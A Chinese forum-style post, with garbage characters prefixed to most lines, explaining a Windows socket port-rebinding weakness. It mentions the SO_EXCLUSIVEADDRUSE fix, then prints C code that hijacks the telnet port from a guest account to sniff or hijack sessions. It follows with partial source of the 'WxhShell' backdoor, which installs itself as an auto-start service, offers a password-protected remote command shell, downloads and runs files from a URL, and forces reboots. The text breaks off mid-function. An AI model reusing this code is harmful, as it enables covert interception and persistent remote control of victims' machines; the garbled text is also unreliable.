在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
0.@/I}R[ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
a3O_8GU -CL7^ saddr.sin_family = AF_INET;
'|FM|0~-J c7iu[vE'+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
J=\Y 4- " E0)v;yRcw bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ie$=3nZJ} ~!:F'}bj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
m2_&rjGz ^1Yx'ua' 这意味着什么?意味着可以进行如下的攻击:
JWn9&WK mDM]RAub) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
'|]zBpz -Q$$2QW! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{Or|] 0 ,/d-o;W 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
pg>P]a{ RisrU 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*K+*0_
Tl=vgs1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2}}~\C}o+ $iP#8La:Y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
RsV<*s t8P>s})[4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
55!9U :{
^MddfBwk #include
^)fB
"!s #include
Ft>ixn #include
B'
:ZX-Q) #include
P{}Oe
*9" DWORD WINAPI ClientThread(LPVOID lpParam);
5:s]z#8) int main()
Pu9.Uwx {
XkK16aLE WORD wVersionRequested;
xE)pj| DWORD ret;
o<g (%ncr WSADATA wsaData;
)E4COw+ BOOL val;
qlgh$9 SOCKADDR_IN saddr;
Uc6U!X SOCKADDR_IN scaddr;
~Snw': int err;
qy-BZ%3 SOCKET s;
2XXEg>CU SOCKET sc;
mYy3KqYu int caddsize;
d->b9 HANDLE mt;
:ZzG5[o3 DWORD tid;
O!j@8~=' wVersionRequested = MAKEWORD( 2, 2 );
sP+S86
u err = WSAStartup( wVersionRequested, &wsaData );
BFEo:!'F if ( err != 0 ) {
NKB!_R+ printf("error!WSAStartup failed!\n");
]Ny]Ox< return -1;
I9u=RIs }
D^TKv;%d saddr.sin_family = AF_INET;
_n_i*p
'2 QWxQD'L' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
N\Hd3Om 8bK}&*z< saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
J`x9XWYw saddr.sin_port = htons(23);
kh5V&%>? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
d")r^7 {
aSK$#Xeu printf("error!socket failed!\n");
##n\9ipD return -1;
IcIMa }
ZtvU~'Q val = TRUE;
A5/h*`Q\\ //SO_REUSEADDR选项就是可以实现端口重绑定的
'{+hti,Lh if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
_rR.Y3N {
*Z0}0<
D@Z printf("error!setsockopt failed!\n");
@+2Zt% return -1;
V2y[IeSQ }
_ Po9pZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Ec[:6} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
WI6er;D //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
K{iayg!k 9z-"JnM if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
pTN_6=Y" {
sV+>(c-$ ret=GetLastError();
*o>E{ printf("error!bind failed!\n");
wXZ-%,R-D return -1;
Zn^E }
\GWq0z& listen(s,2);
FE5R
^W#u- while(1)
y%GV9 {
P9'5=e@jB caddsize = sizeof(scaddr);
<T}#>xHs3 //接受连接请求
O:U@m@7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\vT8
)\ if(sc!=INVALID_SOCKET)
m&%N4Q~X> {
m:^@AR1%d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Kr#=u~~M if(mt==NULL)
6%'{Cq1DE {
mrbIoN==` printf("Thread Creat Failed!\n");
K)v(Z" break;
:{AN@zC0\ }
hlVP_h"z }
K
l4", CloseHandle(mt);
$K iMu }
kQb0pfYs closesocket(s);
QxkfP %_g WSACleanup();
:C&?(HJ&r return 0;
[:k'VXL }
_m&VdIPO DWORD WINAPI ClientThread(LPVOID lpParam)
zZRqb/20 {
j[HKC0C6 SOCKET ss = (SOCKET)lpParam;
42C:cl} ." SOCKET sc;
ZD<,h`
lZ unsigned char buf[4096];
*dQRs6 SOCKADDR_IN saddr;
P``hw=L long num;
a=J?[qrx DWORD val;
s,}<5N]U DWORD ret;
sDF J //如果是隐藏端口应用的话,可以在此处加一些判断
YU"Am ! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
226s:\d saddr.sin_family = AF_INET;
\x+DEy'4;5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@<2pYIi8 saddr.sin_port = htons(23);
*p-Fn$7\n if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7q?YdAUz {
<
d]|5 printf("error!socket failed!\n");
kal8k-$# return -1;
!Q#b4 f }
l:ED_env: val = 100;
CxRp$;rk if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
WLpn,8qsY {
wiVQMgi` ret = GetLastError();
s%:fB( return -1;
y>OZ<!` }
vW_A.iI"e if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%,^7J; {
<|8l ; ret = GetLastError();
! $iR:ji return -1;
Cb13 Qz }
DYl^6] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
dbLX}> {
UqHO S{\Sz printf("error!socket connect failed!\n");
Z 0:2x(x9 closesocket(sc);
1_t Dp&UO closesocket(ss);
d;=,/a return -1;
b'OO~>86 }
x
B?:G while(1)
-r2cK{Hhp& {
</%H 'V@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?
vlGr5# //如果是嗅探内容的话,可以再此处进行内容分析和记录
9t[278B6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Wf?sJ`.%b num = recv(ss,buf,4096,0);
U\[V !1O if(num>0)
^"Y'zIL send(sc,buf,num,0);
1Q%.-vs else if(num==0)
gB"Tc[l1 break;
MT5A%|H e num = recv(sc,buf,4096,0);
I%&9`ceWY if(num>0)
EH:1Z*|Z{\ send(ss,buf,num,0);
q^cF D else if(num==0)
<Z;7=k break;
&SM$oy#? }
PYUY bRn closesocket(ss);
!$?@;}= closesocket(sc);
KFhn}C3
i return 0 ;
e.+)0)A- }
s,k1KTXg<B Lwcw%M] ;Y'\: ==========================================================
10rGA=x'( b>z.d- 下边附上一个代码,,WXhSHELL
s`J=:>9* hq*JQb;Y} ==========================================================
\,EPsQV0? #R8l"]fxr? #include "stdafx.h"
L1xD$wl iK]g3ew| #include <stdio.h>
5{a(
+' #include <string.h>
vw]nqS~N #include <windows.h>
=s]{ #include <winsock2.h>
9vTQ^*bm #include <winsvc.h>
i6CYD #include <urlmon.h>
Ak1) Zz-;jkX) #pragma comment (lib, "Ws2_32.lib")
\k=Qq(= #pragma comment (lib, "urlmon.lib")
wUeOD.;#F {|h"/ #define MAX_USER 100 // 最大客户端连接数
Qzhnob#C9 #define BUF_SOCK 200 // sock buffer
w3N%J>4_E #define KEY_BUFF 255 // 输入 buffer
DRoxw24 iq:[+ #define REBOOT 0 // 重启
\i+h P1mz #define SHUTDOWN 1 // 关机
,m?D\Pru [J`G`s! #define DEF_PORT 5000 // 监听端口
F"H!CJJu& DG\YZV4 #define REG_LEN 16 // 注册表键长度
Uq.~3V+u #define SVC_LEN 80 // NT服务名长度
N]}+F w\5 5ecz'eA% // 从dll定义API
0_
\ g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
h /QP=Zd typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ug,|'<G+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Nj_sU0Dt typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\#jDQ 9u @h` // wxhshell配置信息
h3EDN:FQ struct WSCFG {
1$VI\} int ws_port; // 监听端口
E@6r{uZ# char ws_passstr[REG_LEN]; // 口令
T:">,*| int ws_autoins; // 安装标记, 1=yes 0=no
Iq]6] char ws_regname[REG_LEN]; // 注册表键名
Pu*HZW3l char ws_svcname[REG_LEN]; // 服务名
$jm<'
4 char ws_svcdisp[SVC_LEN]; // 服务显示名
$-?5Q~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
}.cmiC char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Oc9>F\]_m int ws_downexe; // 下载执行标记, 1=yes 0=no
U_;J.{n char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Sc$wR{W<: char ws_filenam[SVC_LEN]; // 下载后保存的文件名
DB%AO:8 KdJx#Lc };
'?gIcWM w%dIe!sV // default Wxhshell configuration
eJGos!>* struct WSCFG wscfg={DEF_PORT,
jgKL88J*\ "xuhuanlingzhe",
].P(/~FS9 1,
6xIYg ^ "Wxhshell",
_`{{39 F "Wxhshell",
fsc~$^.~\ "WxhShell Service",
DIp:S&q2 "Wrsky Windows CmdShell Service",
wV&f|JO0+ "Please Input Your Password: ",
doO
Ap9% 1,
]MLLr'6? "
http://www.wrsky.com/wxhshell.exe",
y6Epi|8 "Wxhshell.exe"
{dx /p-Tv };
(E}cA&{ *.]E+MYi* // 消息定义模块
:2)1vQH0L char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
fEG3b#t N char *msg_ws_prompt="\n\r? for help\n\r#>";
Gi2ad+QH- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
H\+c'$ char *msg_ws_ext="\n\rExit.";
5%+bWI{w char *msg_ws_end="\n\rQuit.";
T5jG IIa char *msg_ws_boot="\n\rReboot...";
*t M7> char *msg_ws_poff="\n\rShutdown...";
Ru^ ONw" char *msg_ws_down="\n\rSave to ";
I/V )z9 W}2 &Pax char *msg_ws_err="\n\rErr!";
L sDzV) char *msg_ws_ok="\n\rOK!";
XVDd1#h +%qSB9_>N{ char ExeFile[MAX_PATH];
QiE<[QP{g int nUser = 0;
rKQASRF5* HANDLE handles[MAX_USER];
^GrkIh0nL int OsIsNt;
E'^]zW=9 Eh@T W%9* SERVICE_STATUS serviceStatus;
+
lB+|yJ+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
+#uNQ`1v zt[4_;2Y // 函数声明
+:]Aqyc\ int Install(void);
nN`Z0? int Uninstall(void);
'<&EPUO int DownloadFile(char *sURL, SOCKET wsh);
#}!>iFBcH int Boot(int flag);
y{`(|,[ void HideProc(void);
@> Ghfh>~D int GetOsVer(void);
&:;;u\ int Wxhshell(SOCKET wsl);
f;Bfh3 void TalkWithClient(void *cs);
.p(6' TYnI int CmdShell(SOCKET sock);
Q_kT}6#(J= int StartFromService(void);
Z0ncN]) int StartWxhshell(LPSTR lpCmdLine);
,M@m4bx Cj !i)- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
<duBwkiG VOID WINAPI NTServiceHandler( DWORD fdwControl );
/iTUex7T s"=F^# // 数据结构和表定义
B221}t SERVICE_TABLE_ENTRY DispatchTable[] =
[CDX CV-z {
hX8gV~E=y {wscfg.ws_svcname, NTServiceMain},
1t[;` iZ {NULL, NULL}
`
-[Bo };
C^,4`OI "37@Zt // 自我安装
6A$_&? int Install(void)
2z.8rNwT {
" _:iK] char svExeFile[MAX_PATH];
mS:j$$]u HKEY key;
,_Qe}qFU strcpy(svExeFile,ExeFile);
XewXTd#x xxoHH#a // 如果是win9x系统,修改注册表设为自启动
f
OM^V{)T if(!OsIsNt) {
"$W|/vD+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
q:
TT4MUj< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
G9i)nWr RegCloseKey(key);
\,l.p_< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hY.e [+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jSie&V@ px RegCloseKey(key);
^Y{6;FJ return 0;
aYaG]&hb
}
#a(%(k S }
M<A;IOpR+ }
#h gmUa else {
=!?[]>Dh < QDr,Hj // 如果是NT以上系统,安装为系统服务
rL%]S&M9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Y]~ HAv ' if (schSCManager!=0)
FJa[ToZ4+ {
~?AC: SC_HANDLE schService = CreateService
R3B5-^s (
`26V`%bPkr schSCManager,
YY#s= wscfg.ws_svcname,
-E8ntY- wscfg.ws_svcdisp,
!,? <zg SERVICE_ALL_ACCESS,
&RKH2R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}osHA`x"2 SERVICE_AUTO_START,
?W[J[cb SERVICE_ERROR_NORMAL,
Qp kKVLi svExeFile,
&'5@azU NULL,
t} *l?$` NULL,
q_<*esZ, NULL,
+36H%&! NULL,
gp~yt0AU NULL
v8=?HUDd );
~\IF9! if (schService!=0)
$ \Q<K@{ {
+cz"`T`X 2 CloseServiceHandle(schService);
.cg= CloseServiceHandle(schSCManager);
MxO
W)$f strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
je&dioZ> strcat(svExeFile,wscfg.ws_svcname);
l |08 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
O.@g/05C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
P0%N
Q1bn RegCloseKey(key);
E4sn[DO return 0;
7?6xPKQ)H }
wGEWr2$ }
= EQN-{# CloseServiceHandle(schSCManager);
==%`e/~Y }
e>L5.~i }
W(;x\Nc7 S~+O`y^ return 1;
U9 1 &| }
Uc_jQ4e_ B#FHf
Z // 自我卸载
.:w#&yM [U int Uninstall(void)
f ,tW_g {
\hs/D+MCk HKEY key;
ppAmN0=G oR*ztM
if(!OsIsNt) {
iuiAK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=nJ{$%L\x, RegDeleteValue(key,wscfg.ws_regname);
=yl4zQmg$ RegCloseKey(key);
v1LKU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
EkN_8(w RegDeleteValue(key,wscfg.ws_regname);
OENzG~ RegCloseKey(key);
Y\.-v\uJu return 0;
Q;4}gUmI$ }
FoE|Js }
;tJWOm }
:]vA2 else {
-glugVq JZ `>|<W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
8O,?|c=> if (schSCManager!=0)
"hL9f=w {
*6:v}#b[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^#]c0 if (schService!=0)
xC<=~( {
qs=Gj?GwGQ if(DeleteService(schService)!=0) {
*i@sUM?K
CloseServiceHandle(schService);
+T9Q_e* CloseServiceHandle(schSCManager);
eymi2-a< return 0;
,mB Z`X@N
}
=v.{JV# CloseServiceHandle(schService);
he"L*p*H }
,Kuk_@(}5~ CloseServiceHandle(schSCManager);
9/#0?(K8 }
w#oGX }
:*^:T_U Vzpt(_>< return 1;
zJ5hvDmC }
vkJ)FEar M)L/d_4ka // 从指定url下载文件
Kl{-z X int DownloadFile(char *sURL, SOCKET wsh)
zG_p"Z7, {
_}D%iJg# HRESULT hr;
KE<kj$
char seps[]= "/";
.Y;b)]@f char *token;
yH^f\u0 char *file;
+#4]o
}6G char myURL[MAX_PATH];
tv0Ha A char myFILE[MAX_PATH];
5L F/5` [!EXMpq' strcpy(myURL,sURL);
hR-K@fS%l' token=strtok(myURL,seps);
yf!,4SUkU while(token!=NULL)
zJ;Rt9<7- {
nTPB,QE< file=token;
FKC\VF token=strtok(NULL,seps);
GD!-
qH }
9 CB\n _g[-=y{Bb GetCurrentDirectory(MAX_PATH,myFILE);
'_V
#;DI strcat(myFILE, "\\");
+IrZ
;&oy strcat(myFILE, file);
tR1FO%nC send(wsh,myFILE,strlen(myFILE),0);
wxE?3%.j\ send(wsh,"...",3,0);
{(4# )K2g% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Wbe0ZnM] if(hr==S_OK)
3)3Hck
return 0;
KF+mZB else
ld.7`) return 1;
L7]]ZAH!1 pE2QnNr' }
D?^Y`G$. 4jQ'+ 2it // 系统电源模块
b^x07lO int Boot(int flag)
Y&K <{\vE {
@xS]!1- HANDLE hToken;
#;]2=@ TOKEN_PRIVILEGES tkp;
:$?Q D wd/G|kNO if(OsIsNt) {
3Hw[s0[$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
fxd0e;NAAh LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
B8 H75sz tkp.PrivilegeCount = 1;
k^%2_H tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bHE7yv [ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\7Qb229? if(flag==REBOOT) {
'f+NW& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)s)_XL return 0;
NgVR,G|1 }
R(G\wqHUT3 else {
_1aGtX|W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
?sXG17~Bm return 0;
=\Iu$2r` }
z<B CLP }
a[sKE? else {
hd2'AlB if(flag==REBOOT) {
yzR=A%V8A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
id ?"PD"% return 0;
yS!(Ap }
8O7Yv< else {
=xL )$DTg) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
L[y Pjw:0 return 0;
)#C
mQXgG }
RF?DtNuq }
L&kr